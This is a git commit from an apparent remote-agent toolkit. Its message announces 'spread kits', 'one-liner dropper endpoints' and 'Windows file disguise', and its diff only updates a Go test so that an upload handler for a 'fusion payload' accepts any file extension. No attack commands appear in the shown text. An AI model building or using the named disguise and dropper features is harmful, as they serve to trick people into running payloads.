Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions

View File

@@ -56,12 +56,37 @@ func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
}
}
func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
// Fusion now accepts any file with an extension (.txt, .pdf, .mp4, .docx, etc.)
// Only files with no extension at all are rejected.
func TestSaveUploadedFusionPayloadAcceptsAnyExtension(t *testing.T) {
for _, fname := range []string{"report.pdf", "clip.mp4", "doc.docx", "data.txt", "archive.zip"} {
h := &Handler{dataDir: t.TempDir()}
body := &bytes.Buffer{}
w := multipart.NewWriter(body)
partHeader := make(textproto.MIMEHeader)
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="`+fname+`"`)
part, _ := w.CreatePart(partHeader)
_, _ = part.Write([]byte("x"))
w.Close()
r := multipart.NewReader(body, w.Boundary())
form, _ := r.ReadForm(10 << 20)
f, _ := form.File["prep_exe"][0].Open()
_, cleanup, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
f.Close()
if err != nil {
t.Errorf("expected %s to be accepted, got error: %v", fname, err)
} else {
cleanup()
}
}
}
func TestSaveUploadedFusionPayloadRejectsNoExtension(t *testing.T) {
h := &Handler{dataDir: t.TempDir()}
body := &bytes.Buffer{}
w := multipart.NewWriter(body)
partHeader := make(textproto.MIMEHeader)
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="noextension"`)
part, _ := w.CreatePart(partHeader)
_, _ = part.Write([]byte("x"))
w.Close()
@@ -71,6 +96,6 @@ func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
defer f.Close()
_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
if err == nil {
t.Fatal("expected error for .txt upload")
t.Fatal("expected error for file with no extension")
}
}